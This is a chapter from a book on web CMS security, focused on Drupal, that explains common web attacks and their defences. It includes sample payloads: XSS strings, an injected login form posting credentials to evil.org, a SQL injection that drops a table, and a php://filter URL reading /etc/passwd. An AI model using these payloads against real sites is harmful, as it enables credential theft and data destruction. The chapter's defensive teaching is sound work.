Security

by Gisle Hannemyr

Securing a WCMS against the “Wide Wild Web” is absolutely necessary to keep the website healthy. This chapter discusses the major vulnerabilities facing a WCMS designer, and how to mitigate them, with an emphasis on the tools that are available in the Drupal development environment.

Table of contents

Drupal projects discussed in this chapter: Encryption, Flood control, Force Password Change, Hacked!, Login security, Paranoia, Password Policy, Routes List, Security review.

Introduction

In the early days of the web, websites were document repositories consisting of static documents. There was no way for the user to interact with the site, beyond browsing (moving from one page to another, viewing its content). Users did not authenticate, and each user were treated the same, and allowed to view all documents that existed in the repository. If a threat agent were to compromise a web server, she would not gain access to any restricted information, because the information stored on the server was already open to public view. Rather, an successful threat agent would modify the files on the server to “deface” it, or use the server as a platform for illegal activities such as distribution of stolen software or illegal pornography.

Today, the web is something completely different. Today, most websites are complex applications that interacts with its users and perform complex services. Today's websites rely on two-way flow of information between the server and the browser, and as a rule make heavy use of a client side scripting language (e.g. JavaScript, VBScript, ActiveX, or Flash) to delegate tasks to the browser. A web content management system (WCMS) is expected to support user authentication, the authoring of content by users, and serving different content to different users. Some of the content managed by the system may be private, and shall only be viewable to privileged users.

This means that a designer of a WCMS needs to deal with a number of security challenges. In 2010, cross-site scripting (XSS) was the third most common form of attack on web applications, SQL Injection was the second. and Denial of Service (DoS) was the most common form of attack.

webhacking.png

See alsoFor a more up-to-date overview of attack methos, see the WHID Real-Time Statistics. For more information about web attack vectors and securing a website and web application, see the OWASP attack page It provides good overviews of different attack vectors and discuss specific attacks. You may also want to visit the Web Application Security Consortium (WASC) website and their their web hacking incidents database. For a more tutorial approach to the subject see the 912 page long Web Application Hackers Handbook by Dafydd Stuttard and Marcus Pinto. For material about securing Drupal, please see Cracking Drupal: A Drop in the Bucket by Greg James "greggles" Knaddison. This book is currently the most comprehensive treatment of Drupal security. You may also want to visit his blog for updates of the book.

Drupal enjoys a good track record in terms of security. The Drupal community has an organised process for investigating, verifying, and publishing possible security problems, managed by the security team.

However, to keep a Drupal installation secure, it is important to respond quickly to security updates and components entering “unsupported” status. When a component becomes vulnerable, it will be shown with a red background on the available updates report. To see the status of instalmed modules and themes, navigate to Reports » Available updates and scroll through the list of installed modules and themes.

If a security update is required the text “Security update required!” will be shown. For an example, see screenshot below.

securityupdate.png
The “Services” module urgently needs a security update.

Unsupported modules or themes are also a security risk. This is indicated in the available updates report with a red background and the text “Not supported!”. To keep your site secure, you must disable and uninstall such components as soon as they are discoved.

Attacks and vulnerabilities

DoS (Denial of Service)

A DoS (Denial of Service) attack makes a resource (site, application, server) unavailable for the purpose it was designed for the duration of the attack.

There are many ways to make a service unavailable for legitimate users: E.g by manipulating network packets, by injecting malware, or by exploiting badly designed resource handling vulnerabilities.

If a service receives a very large number of otherwise legitimate requests, it may cease to be available to users. This is often exploited in a distributed DoS (DDoS) attack, where a so-called botnet is flooding the target with traffic.

Sometimes the threat agent can inject and execute arbitrary code while performing a DoS attack in order to access critical information or execute commands on the server.

DoS attacks significantly degrade the service quality experienced by legitimate users. These attacks introduce large response delays, excessive losses, and service interruptions, resulting in direct impact on service availability.

DOM-corruption

[TBA: availability]

Protection: Text sanitation.

XSS (Cross-site scripting)

The terms “XSS” and “cross-site scripting” are the most common names for a form of attack that may also be called “client-side script injection”. It happens when some sort of script (e.g. javascript or vbscript) is embedded into a web page and executed when the page is rendered in the victims browser.

XSS can be used for session hijacking (theft of session and/or authentication cookies), phishing attacks (injection of fake login dialogues into legitimate pages on the host website), DOM-manipulation, keystroke logging, XSS-worms (a type of computer virus).

If your site allow arbitrary HTML in user generated content, then it is open to XSS attacks. A trivial example is the following markup:

<script>javascript:alert('XSS')</script>

The payload here is harmless (it only displays an alert-box on the victim's computer), but it could obviously been something more sinister.

In the example below, the <img> tag is used instead to deliver the payload:

<img src="example.gif" onload="javascript:alert('XSS')">

Note that the image has to exist for the payload to bite.

Below is a more complex example. I've copied it from a white paper titled “Server-Side JavaScript Injection” by Bryan Sullivan from the Adobe Secure Software Engineering Team.

The JavaScript is from a website application that uses client-side JavaScript code to process stock quote requests. (The code uses JSON as the message format and XMLHttpRequest as the request object.)

<script>
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = function() {
    if ((xhr.readyState == 4) && (xhr.status == 200)) {
      var stockInfo = eval('(' + xhr.responseText + ')');
      alert('The current price of ' + stockInfo.symbol +
        ' is $' + stockInfo.price);
    }
  }
  function makeRequest(tickerSymbol) {
    xhr.open("POST","stock_service",true);
    xhr.send("{\"symbol\" : \"" + tickerSymbol + "\"}");
  }
</script>

In this code the call to eval of the request object is insecure. If a threat agent controls the request object coming from the stock service and uses this to inject JavaScript code, the call to eval would execute that JavaScript code in the victim's browser. This could enable the threat agent to extract any authentication or session cookies from the page DOM and send them back to herself, so that she could assume the identity of the victim and take over the session.

See alsoFor more information abut XSS, and a quick overview over some possible XSS exploits, and to what extent various browser versions are vulnerable to them, you may want to look at the HTML5 Security Cheatsheet, put online by HTML5sec.org, and the XSS Cheat Sheet by Hack 2 Learn.

Protection: Text sanitation.

XFS (Cross-frame scripting)

Cross-frame Scripting (XFS) is an attack that uses an iframe to embed malicious JavaScript on a site controlled by a threat agent.

Here is an example:

<iframe src="http://evil.org/exploit.html" width="400" height="300"></iframe>

Protection: Text sanitation.

CSRF (Cross-site request forgery)

The Cross-site request forgery (CSRF or XSRF) is an attack that tricks an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the threat agent has no way to see the response to the forged request.

To execute an attack the the threat agent must trick the victim into accessing an URL that performs some state-change on the site that only the authenticated user is allowed to make. This is usually done by by using social engineering (such as sending a link via email or chat), to deliver the URL to the victim.

If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, a succesful CSRF attack can compromise the entire web application.

A CSRF attack has the following characteristics:

  1. It is always performed blindly, on behalf of a particular user. That means that the threat agent cannot access any response during the attack.
  2. It exploits the fact that in many web applications, user authentication is persistent. If you are logged-in on a site with cookies, then your browser will always send along the cookies with any request it makes to that site. If another site embeds resources from that site (images, javascript, iframes, etc.), then that resource will be requested with your cookies attached.
  3. Only operations that changes the web application's data can be exploited. The path /node/1 cannot be vulnerable to CSRF exploits in a standard Drupal installation, because a node is only displayed and not changed. But the path node/1/delete can be exploited, if accessing this path deletes node 1.

Protection: Security tokens.

Sources: Klaus Purer, Acquia: Intro and Acquia: Defence.

Information disclosure

Information disclosure means that the system discloses information that should not be disclosed to a threat agent.

This happens when a website reveals personal or other data that is not supposed to be accessible to the threat agent, or it reveals data that may compromise security, such as system messages, technical details of the web application or environment. Disclosed information may be used by a threat agent to exploit the target web application, its hosting network, or its users. Therefore, information disclosure should be limited or prevented whenever possible. For instance, system messages should not be shown to untrusted users on a production site, as they may reveal configuration errors that may be exploited.

Some files that come as part of the standard installation package and are publicly accessible by default, should be made inaccessible.

Access bypass

Access bypass is closely related to information disclosure, but while information disclosure is about incidental disclosure, access bypass is about vulnerabilities that allow the threat agent to bypass or short-circuit access control imposed by the system.

Arbitrary code execution

In a arbitrary code execution attack, the threat agent manages to insert malicious code into the site, and get it executed.

Attack vectors include several types injection attacks (discussed en more detail below), inadequate uploaded file permissions, allowing code or scripts in download directories to be executed and executable code embedded in content pulled from the database.

Protection: Preventing arbitrary code execution and rogue files.

Clickjacking

Clickjacking (also known as a “User interface redress attack”), is when a threat agent uses one or more transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the the top level page. Thus, the threat agent is “hijacking” clicks meant for one page and routing those clicks to another page.

Here is an example:

<a href="http://example.com/exploit.html" style="display: block;
  z-index: 100000; opacity: 0.5; position: fixed; top: 0px; left: 0;
  width: 1000000px; height: 100000px; background-color: red;">&nbsp;</a>

The above example code has opacity set to 0.5 to make the intrusion of the overlay obvious. A real attack would set the opacity to 0. If a site allow untrusted users to use the style attribute, it is vunerable to clickjacking.

Protection: Text sanitation.

HTML injection

HTML injection (sometimes called “form injection”) is when a threat agent inserts insecure HTML into a web page that is rendered by the site.

The injection can take place by embedding a bogus form in an email or sent to the victim as part of a phishing attack, or by posting a bogus form on some interpersonal website.

HTML injection is closely related to XSS. Both leverages of unsanitised user input, but while XSS uses injected scripts to run JavaScript, HTML injection injects HTML to modify the page as rendered to the user, for malicious reasons.

To demonstrate how form injection works, take the fragment below and assume it part of a page named stupid.php on a site named example.com:

Welcome, <?php echo $_REQUEST['name']; ?>

The programmer who wrote this clearly expects the user to input his name is some HTML form, which is then stored in $_REQUEST['name']. The fragment shown above will normally print out a friendly welcome message mentioning the user's name.

However, the assumption that $_REQUEST['name'] holds a name may not always be valid. A threat agent may exploit this by constructing a link like the following where the querystring contains the payload:

<a href='http://example.com/stupid.php?name=enter your username and password:
<form method="post" action="http://evil.org/login.php">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login"></form><!--'>Login on your account on
Example.com immediately to prevent something really bad from happening!</a>

This injects a link to a form served from evil.org while the victim believes it is served from example.com.

Now, all the threat agent need to do is to trick the victim into clicking on this link (e.g. by embedding this construct in a phishing email, or by creating a bogus alert on some website where the victim will see it).

The code can be used by the threat agent to steal usernames and passwords from users who believe they're logging in on example.com.

Note that HTML-injection can not only be used with text fields. Some programmers believe that non-text HTML form elements, such as radio buttons, are safe, because no other text than what already appear in the form can be input by the user when clicking on the form.

For instance, the markup of a HTML form with radio buttons may look like this:

<form name="stupid" action="http://example.com/stupid.php" method="post">
 <input type="radio" name="colour" value="red">red</input>
 <input type="radio" name="colour" value="green" checked>green</input>
 <input type="radio" name="colour" value="blue">blue</input>
 <input type="submit">
</form>

A naive programmer may think that the data coming from this form must always be one of “red”, “green” or “blue”, since those are the only possible value options available in the form.

What the naive programmer forgets, is that the threat agent need not interact with this form through the form user interface. The threat agent may submit his own query response, and by doing so she may put any value into the form's colour field.

To cut a longs story short, user input can never be trusted and must always be sanitised.

Protection: Text sanitation.

CSS injection

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted website, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to JavaScript execution (i.e. XSS injection) or to UI modifications. In older browsers, it could even be used for data theft (data exfiltration).

See: OWASP, StackOverflow, StackExchange security Owl's Portfolio, and Archive.is for examples.

Protection: Text sanitation.

File injection

Consider a PHP file named stupid.php that accepts a query string with a field named COLOUR, where this field is used to include a file with colour settings for the site. For example, there may be a file named green.php. Let us assume that thus is implemented like this in:

if (isset( $_GET['COLOUR'] ) ){
  include( $_GET['COLOUR'] . '.php' );
}

Used like this: /stupid.php?COLOUR=green the file named green.php will be included in stupid.php. This is obviously how the author intended this to be used.

However, there is nothing stopping a threat agent from putting other tings in this field. For example:

Note that file injection is not limited to $_GET. It is not as trivial to do so, but if the malicious user writes her own submission form, the same type of injection can be done with $_POST.

Protection: Preventing arbitrary code execution and rogue files, Input validation

SQL injection

A SQL injection attack consists of insertion of a SQL query via the input data from the client to the application.

A SQL injection can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), and in some cases issue commands to the operating system.

An SQL injection may happen if the website use unsanitised (raw) user input in database queries, as illustrated in the xkcd cartoon below:

exploits_of_a_mom.png
Source: xkcd - Exploits of a mom, used under CC by-nc 2.5.

Protection: Input validation, Database query sanitation.

Subdomain takeover

A subdomain takeover is a vulnerability that results from a DNS misconfiguration. A subdomain is vulnerable to such attacks if its DNS answer is a CNAME record that delegates DNS resolution to an external domain that can be taken over by a threat agent (e.g an expired domain, or a cloud provider subdomain).

The screen shot below shows how a subdomain takeover is used to deface of one of Donald Trump defunct campaign sites by someone going by the nom de hacker “Pro_Mast3r”:

trump_defaced1.png
One of Donald Trump's defunct campaign sites defaced through subdomain takeover.

The vulnerability allows the threat agent to take full control over the subdomain. In addition to defacing the site, a subdomain takeover can be used for phishing (e.g. to steal credentials and cookies). Because the URL of the phishing site will appear legitimate to visitors, a phishing attack is more likely to be successful.

If the abandoned subdomain acts as a public CDN for JavaScript or other client side script, or provide embedded content such as audio or video, a subdomain takeover can turn your abondoned domain into a vector for client site script injection or that will bite sites that uses your CDN.

The typical scenario that leads to a subdomain takeover is that you at one point in time set up a website at a subdomain (e.g. subdomain.example.com), and you host the subdomain at a cloud service provider (e.g. AWS S3). In order to do so you set up an alias for the cloud service (e.g. mysubdomain.s3.amazonaws.com). You then configure your DNS so that your subdomain (i.e. subdomain.example.com) points to the cloud service (in this example it is an AWS S3 bucket) by means of a CNAME record. Then, sometime later, you stop using the subdomain and cancels the subscription with the cloud provider, but you forget to remove the CNAME record that points to the cloud service from your DNS configuration. Now, all the threat agent has to do is to subscribe to the same cloud service and reuse the name you used for the now defunct subdomain (in this example, that is subdomain.s3.amazonaws.com). The threat agent is now in position to set up his own site at the cloud service. Anyone visting your defunct subdomain will now be redirected to the site set up by the threat agent.

To avoid the problem as a domain owner, make sure that your DNS does not have dangling CNAME records (i.e. CNAME records pointing to non-existing domains).

To avoid the problem as site designer, do not use public CDNs for client side scripts or content, or monitor subresource integrity (SRI).

The services provided by the following cloud services is (or at least have been) exploitable:

Read more:

Brute forcing

Some threat agenst may try to compromise passwords by brute forcing them. This entails trying all possible combinations too see if one matches.

Brute force attacks may be over the network against the website login form, or against the hashes themselves if the database is compromised.

Protection: Login and password security.

Risk analysis and testing

Information security is always relative to the information and services being protected, the skills and resources of threats, and the costs of potential remedies. Information security is an exercise in risk management.

The purpose of risk analysis and security testing is to ensure the robustness of an information system in with respect to malicious attacks, user errors, software and hardware failures and external events (e.g. fires and floods).

Roughly speaking the following “tools” are often used for this purpose:

In a typical case, one starts out with a risk analysis to identify the a number of factors that in combination tell us about risk. Then black-, white- and/or gray-box testing is used to identify specific vulnerabilities. Finally, new or improved mitigations for the vulnerabilities are implemented and deployed, and the risk analysis report is updated to reflect the improved information system.

Risk analysis

The main deliverable from risk analysis is a report that provides a functional decomposition of the information, mapped against the environments across which the information system shall be deployed. The report should be detailed enough to make a desktop review of threats, potential vulnerabilities and mitigations possible.

Specifically, the risk analysis report should identify:

The risk analysis report should be the guiding force behind all subsequent testing activities.

Black-box testing

Black-box testing refers to a method of information system security testing in which the security controls, defences and design of an application are tested from the outside-in, with little or no prior knowledge of the application’s internal workings. Essentially, a black-box tester takes an approach similar to that of a real threat agent.

It can only be applied to a fully functional information system.

Since black-box security testing does not assume or have knowledge of the target being tested, it is a technology independent method of testing. It is often the used first, to learn about the components and vulnerabilities that need to be specifically addressed in the white-box analysis.

White-box analysis

White-box analysis refers to a method of information system security testing that is based upon having access to the internals of the system being tested.

It means analyzing data flow, control flow, information flow, coding practices, and exception and error handling within the system, to test the intended and unintended software behavior. White-box testing can be performed to validate whether code implementation follows intended design, to validate implemented security functionality, and to uncover exploitable vulnerabilities.

White-box testing requires access to the source code, database and physical hardware. It can be performed any time in the life cycle of an information system. Requirements:

  1. Knowing best practice methods for making software secure is a fundamental requirement. The tester need to comprehend and analyze available design documentation, source code, and other relevant development artifacts.
  2. In order to be able to create tests that exploit software, the tester must be able to think like a threat agent.
  3. To perform testing effectively, testers need to know the different tools and techniques available for white-box testing.

Protection techniques

This section describes some of the protection techniques a site developer may use to protect the website against malicious attacks.

See alsoW3C has published a document (W3C Content Security Policy) that outlines a Content Security Policy (CSP). A CSP describes how developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions. The Mozilla Security team has prepared a short document (Security/CSP) that defines the most important CSP goals. Note that a CSP is not intended as a first line of defense against content vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that threat agent can cause, but it is not a replacement for careful input validation and output encoding.

Guidelines for Drupal webmasters

  1. Subscribe to the security updates mailing list.
  2. Keep core and contrib up to date with security updates at all times. Do not install the version of Drupal provided by the operating system (it is not kept in sync with critical security patches). You may use a shell script to automate the update process: github: thenewgroup/auto-updates.
  3. Do not use contributed project that has not opted into security coverage.
  4. Properly secure file permissions.

There are several Drupal modules that can help you with security, check out:

Preventing arbitrary code execution and rogue files

To prevent arbitrary code execution attacks, you need to make sure that the upload manager sanitise uploads by disallowing executable file types. The following file types are safe, and should be adequate for most use cases:

txt doc docx rtf odtm fodt jpg jpeg png gif pdf ppt pptx odp fodp xls xlsx ods zip gz

In Drupal 7, one of the settings for the the built-in file field is allowed file extensions, as shown in the screen shot below.

allowed_ext.png
Typical allowed file extensions for an file attachment field.

You should also disallow execution of any uploaded file. In Drupal 7, this is done by placing an .htaccess-file (a file with access directives for the Apache web server in the root of allfile upload areas):

Deny from all

# Turn off all options we don't need.
Options None
Options +FollowSymLinks

# Set the catch-all handler to prevent scripts from being executed.
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  # Override the handler again if we're run later in the evaluation list.
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

# If we know how to do it safely, disable the PHP engine entirely.
<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

Outside of the upload directories, you need to make sure that the files permissions set in the operating system follows the best practice for your type of hosting. The best practices for various hosting options is described in the section about Directories and files below.

In addition to preventing uploaded files from being executed, files stored by Drupal the public file system will be accessible and can be viewed and downloaded by anyone that knows its URL. If you fail to secure file uploads against abuses, you risk hosting publicly available files on your site that you don't want to be associated with.

For more about this, including how to prevent it, see the section “File uploads by threat agents” in the chapter about file handling.

The Drupal 7 core contains a misfeature known as the PHP Filter. It is disabled by default. Even when disabled, it is a security risk. If a threat agent ever gains the ability to write PHP via a web interface on your server it is fairly easy for the threat agent to take full control over the server, even if the site uses secure file permissions. For this reason, it should be removed.

Removing the PHP Filter is a two step process. First ensure that the module is disabled and no associated permissions are being used for PHP. Next, delete the entire directory for the module. It is /modules/php if you do a default installation. The entire module directory can safely be removed without causing any harm to the Drupal installation.

The original use of the PHP Filter module was for determining visibility of elements like blocks or views. However, in each of these use cases the PHP can be moved to a theme template file, which is more appropriate (as themes govern display logic), is easier to maintain (it's easier to find PHP code in themes and easier to spot custom templates than it is to check obscure text fields in the admin interface), and it moves PHP out of the database and into the filesystem where you can enforce filesystem security protections.

If you, for some reason, need to have the PHP Filter module installed, you may want to install the Paranoia module. This module attempts to identify all the places that a user can execute PHP via Drupal's web interface, so you can locate the spots where injection may occur and then block those.

Securing images

Images linked to and/or uploaded by untrusted users, and the <img> tag itself, are somewhere in the grey area between manifest safe markup such as <p> and <strong>, and manifest insecure markup such as <iframe> and <script>. Below is a discussion about image security in the context of the Drupal WCMS.

As already noted, the image tag can be used to inject XSS if not sanitised. Allowing threat agents users to use the <img> tag directly is insecure.

However, if unsafe attributes are stripped from the input, the XSS vulnerability goes away.

In other words, if the threat agent inserts:

<img src="example.jpg" onload="alert('XSS')">:

The allowlist filter should turn it into:

<img src="example.jpg">:

By removing the onload attribute before saving the buffer, the allowlist filter removes the XSS vulnerability.

In addition to binary image formats (png gif jpg), images may also be on the scaleable vector graphic format (svg), and may contain JavaScript. For example the file exploit.svg may contain:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert('XSS');
   </script>
</svg>

This can be embedded in a web page with the <img>-tag:

<img src="exploit.svg">

A threat agent may also link the src attribute of an <img> tag to something that is not an image, e,g.:

<img src="exploit.js">:
<img src="javascript:alert('xss')">

As far as I know: The last two exploit examples (JavaScript embedded in an <svg>-file and linking the src to Javascript) will not fool a modern browser. You may still want to mitigate those, in case some of the visitors to your site use an outdated browser, such as MSIE 6.

Plaese also note that if you allow threat agents to link to images on other sites, you may expose your visitors to attacks.

For instance, this may be used to insert a Web beacon into the content of your site:

<img src="http://evil.org/webbeacon.png">

Other exploits possible with remote linked images are:

Because remotely hosted images allow such attacks, you should not let threat agents link to images that is not stored locally. By default, Drupal only allow trusted user roles to link to remotely hosted images. For more, please see this DO forum post.

For the record, user uploaded images stored locally is also a (minor) security risk, since they may be used to mount Denial of Service (DoS) attacks in the form of a so-called “decompression bomb”.

A decompression bomb exploits the fact that digital images are transmitted and stored in a compressed format. If the image data is repeating, very large compression rates are possible. To process an image (for instance to re-size it), it must be decompressed, This means that is possible for a threat agent to create an image that is only a few kilobytes when compressed, but that will consume enormous amounts of memory when decompressed, slowing down the computer, or even making it crash.

You can mitigate this by putting sanity checks that aborts the process if the use of resources becomes excessive. Drupal will indeed abort when PHP hits its maximum memory limit. This will, however, make the Drupal instance crash, but not do any other harm. Drupal bootstraps itself for every new request, so the website as such will not be affected.

As far as I know, decompression bomb attacks are not much used. I've only encountered the concept in theory.

Input validation

Input validation means that you take steps to ensure that data is strongly typed, correct syntax, within length boundaries, contains only permitted characters, and that numbers are correctly signed and within range boundaries.

For instance, if you expect a field in a form to contain a postcode, you should have a form validation handler that examines the data the user has typed into the field and make sure it really is a postcode by checking its type, length and syntax. Input that does not validate should be rejected.

PHP and most other programming languages provides a library of validation filters that can be used in validation handlers.

Database query sanitation

Drupal.org D8: Secure Database Queries.

Data used is database queries should be encoded and escaped:

Unless you do this, even otherwise valid data (e.g. the city name “Coeur d'Alene”) will break the database if embedded in a query. In addition, threat agents may exploit the meaning of special characters to mount an SQL injection attacks against your database.

The best practice in PHP for SQL injection prevention i PHP, is to use prepared statements and parameterized queries to escape untrusted input. These are SQL statements that are sent to and parsed by the database server separately from any parameters. See, for instance, this answer on StackOverflow.

In Drupal, escaping user input to prevent SQL injection is fully supported by the database abstraction layer, but you need to know how to apply it. The following example first shows how to not create SQL queries in Drupal 7, and then how to do it correctly:

The following pair of PHP statements is supposed to query the the field title in the {node} table for the title for a particular numeric $nid. However, if $nid is set by the user, this query is dangerous:

// DANGEROUS
$query = db_query("SELECT title FROM node where nid = $nid");
$title = $query->fetchField();

If the value of the variable $nid is unsanitised user input, a malicious user may provide the following input:

4;DROP TABLE node;

This produces the following SQL query:

SELECT title FROM node where nid = 4;
DROP TABLE node;

I.e.: the user is able to wipe out the entire {node} table.

To avoid SQL injection attacks on a Drupal site, always use Drupal's database abstraction layer when interacting with the database. For instance, the call to db_query() used as example above should use this:

$title = db_query('SELECT title FROM node WHERE nid = :nid',
   array(':nid' => $nid))->fetchField();

This will produce a prepared statement with a parameterized query. The SQL statement will be sent to and parsed by the database server separately from user supplied query parameter. This guards against this form of attack.

However, this may not always be enough. In the query below, the two variables $field and $table may originate from user input and be tainted:

// DANGEROUS
$i = db_query('SELECT ' . $field . ' FROM {' . $table . '} WHERE ' . $field . ' = :x',
   array(':x' => $normalized))->fetchAssoc();

To sanitise them, run them through the escape functions built into the database abstraction layer before using:

$table = db_escape_table($table);
$field = db_escape_field($field);
$i = db_query('SELECT ' . $field . ' FROM {' . $table . '} WHERE ' . $field . ' = :x',
   array(':x' => $value))->fetchAssoc();

Alternatively, use a dynamic query where sanitiation of some parameters are built in:

$query = db_select($table, 't');
$query->fields('t', array($field));
$query->condition('t.' . $field, $value);
$i = $query->execute()->fetchAssoc();

To learn what parameters are sanitised, see this core issue at Drupal.org.

Securing the server

SO: Blackholing anonymous requests.

Text sanitation

Drupal.org D8: Writing secure code for Drupal

Unlike database query sanitiation, text sanitiation is applied to unsecure text before it is output and rendered by the user's browser.

The exact methods depends on the context. The discussion below applies if the text is to be output on a web page.

The general strategy for text sanitation is to remove, repair and/or encode constructs in the text that may allow a threat agent to corrupt the DOM or excute code in a victim's browser.

For instance if the DOM has been corrupted by user input (e.g. the user has inserted an open tag in HTML, but failed to close it), this needs to be repaired before the page is output. The Drupal core provides a text filter to do this. It is called “Correct faulty and chopped off HTML”. Having this as the last filter in the filter processing order will ensure that anything that is output as HTML, is valid HTML.

To encode user text, the core provides the text filter “Display any HTML as plain text”. To remove unwanted markup the core provides the text filter “Limit allowed HTML tags”. The latter will by default remove all HTML tags and attributes that can be abused, but you may alter the list of elements to escape.

For developers who need to repair a potentially broken DOM by means of code, there is the core function _filter_htmlcorrector that will make sure the DOM is valid HTML.

For developers who need to encode or remove text, Drupal provides a number of useful sanitation functions. Note that this page is not complete. For example: drupal_clean_css_identifier is also a sanitation function.

Rules of thumb:

The flowchart below provides a rule of thumb about santising user input.

drupal_sanitizion.png
Flowchart of Drupal sanitiation functions.

There is also a Drupal function named valid_url() that might come handy. Unlike check_url() it will not santise the URL, but it will return FALSE if the URL-syntax is invalid, or if the syntax valid but irregular (see the box below).

noteIt is sometimes suggested that the following native PHP-function:
filter_var($url, FILTER_VALIDATE_URL) should be used to validate URLs. It checks that the URL has a valid syntax, but it is not a santitation function. As pointed out by David Müller and Michael Nelson, it has a number of problems. For instance, it will return TRUE for all these URLs:
http://example.com/"><script>alert("xss")</script>
php://filter/read=convert.base64-encode/resource=/etc/passwd
foo://bar
javascript://test%0Aalert(321).
By comparion, the drupal function valid_url($url, TRUE) will return FALSE for all of these, while the Drupal function check_url($url) will sanitise these URLs, returning safe versions of them.

In addition, the function named t may be used with @ or % placeholders to construct safe, translatable strings. The t function knows about three styles of placeholders:

In Drupal 7, you may use !variable, which indicates that the text should be inserted as-is. This is useful for inserting guaranteed safe variables into HTML, and any variable into non-HTML text such as email.

$message = t('Cange your settings at !url.",
  array('!url' => 'myprofile');

In Drupal 8, the !variable is deprecated. There is no longer a placeholder for unsanitized text. Use @variable or XXXX

$link = 'myprofile';
$message = t('Change your settings at ' . $link . '.');

@variable, which indicates that the text should be run through check_plain, to escape HTML characters. Use this for any user input that need to be sanitised before it is displayed within a Drupal page.

$title = t("@name's blog", array('@name' => $account->name));

%variable, which indicates that the string should be HTML escaped and highlighted with theme_placeholder() which shows up by default as emphasized.

$message = t('%name-from sent %name-to an email.',
  array('%name-from' => $user->name, '%name-to' => $account->name));

D8: :variable, for use specifically with urls. TODO.

The important thing to remember is that no piece of untrusted user-submitted content should ever output unfiltered into HTML.

See alsoTo learn more about handling and sanitising user text, see the following user contributed documentation on Drupal.org: Handle text in a secure fashion and Writing secure code. For some additional notes about placeholders and translations, see: Dynamic strings with placeholders, and API: function t.

With text sanitation, follow the allowlist philosophy. Do not look for exploits in user input. Instead make sure that user input is validated, and that all constructs that may lead to exploits are either removed, encoded or escaped.

The following HTML elements must not be allowlisted without some form of mitigation: <applet> <area> <base> <basefont> <body> <button> <embed> <form> <frame> <frameset> <head> <html> <iframe> <input> <isindex> <label> <link> <map> <meta> <noframes> <noscript> <object> <optgroup> <option> <param> <plaintext> <script> <select> <style> <textarea> <title>.

Some of the elements on the list compromise security, others allow users to break site layout and/or to break the DOM.

For permitted HTML elements, attributes should be allowlisted, and if the id and/or class attributes are allowlisted, best practice is to only allow allowlisted values for id and class names. The reason for this is that the logic of a web application may depend on the content or location of specific DOM elements inside the HTML which are selected based on id or class name. If you allow the user to specify any class name, a threat agent may be able to generate content with the same class or id names as those used in the front-end application logic. This may result in a corrupt page being rendered and might severely confuse the front-end which even might lead to security issues.

If your web application logic does not rely on id and class names to work correctly, you may skip allowlisting id and class names.

File permissions

When setting up file permissions for a Drupal 7 website, the following five classes of directories and files need to be considered.

  1. settings.php – the settings file (contains secret information such as database credentials in clear text).
  2. modules/ – this directory is representative of all directories that is part of your website that is not used to hold uploaded files or translations.
  3. bar.php – this file is representative of all other files that is part of your website, including files that can be executed by the web server.
  4. files/ – this directory is representative of a public upload directory (i.e. the root upload files directory and any directory below it).
  5. files/foo.png – this file is representative of all uploaded files.
  6. translations/ – the site's translations directory to hold portable objects (.po) for translations.
  7. translations/foo.po – this file is representative of all translation po-files.

When putting a site on the web, the webmaster wants the site to be operational, CLI accessible (but only for the webmaster), and secure. For this to happen, ideally all the following five requirements should be satisfied:

  1. For a WCMS to be operational, the web server must have read access to all the files that make up the site, and access directory access to all the directories that make up the site.
  2. For secure operation, web server must not have write access to any of the files or directories it handles except the upload directory and the directories and files below it and the translations directory and the files inside it (otherwise, third party access to the web-server will be able to inject malicious files and overwrite any file on the site).
  3. For the webmaster to work on the site using the CLI, the webmaster must have read and write access to any file that is part of the site.
  4. To protect the files from being accessed by other users using the CLI, no other user that the site's webmaster should have access to any file through the CLI.

The web server bakcground process may be owned by a non-human user ID, such as “apache” (“apache” is assumed in the examples below, but it other user IDs, such as “daemon”, “httpd”, “wwwrun”, “www-data” or “www” is also common), or owned by the user ID of the human webmaster (“webmaster” is assumed in the examples below), depending upon the configuration.

Also, in the examples below, the webmaster is a assumed to be a member of the group “webmaster”, and the non-human web server user (the “httpd user”) is assumed to be a member of the group “apache”.

Also, a standard Gnu/Linux or Unix environment is assumed. To be able to follow the argument, the reader needs to be familiar with classic Unix access control system with separate read (r), write (w) and execute/access directory (x) permissions split into three blocks (user, group, other).

Own web host

The standard hosting environment for a Drupal website is a host where the file system is not shared by any other entity.

If the web host is not shared with other users or other websites, it is trivial to satisfy all four requirements outlined above with the following settings for permissions and ownership (assuming your own user name is “webmaster” and the web server user name is “apache”).

settings.php:        640 rw- r-- --- webmaster.apache
modules/:            750 rwx r-x --- webmaster.apache
bar.php:             640 rw- r-- --- webmaster.apache
files/:              770 rwx rwx --- webmaster.apache
files/foo.png:       660 rw- rw- --- webmaster.apache
translations/:       770 rwx rwx --- webmaster.apache
translations/foo.po: 660 rw- rw- --- webmaster.apache

As long as the environment is not shared, there are no other users around that may create rogue scripts or get their own scripts compromised. This means that it is not a security risk to let the web server user read settings.php. In this environment, CLI access for the webmaster is secured by letting all files be owned by the webmaster with permission to modify, and web server access is granted through setting the “read” bit and “execute bit” on directories for the “apache” group. Here is how the settings measure up to the four requirements:

  1. The web-server has the required read access.
  2. The web server only have write access to the upload directory and uploaded files.
  3. The webmaster has the required read and write access.
  4. There are no other CLI-users on the system.

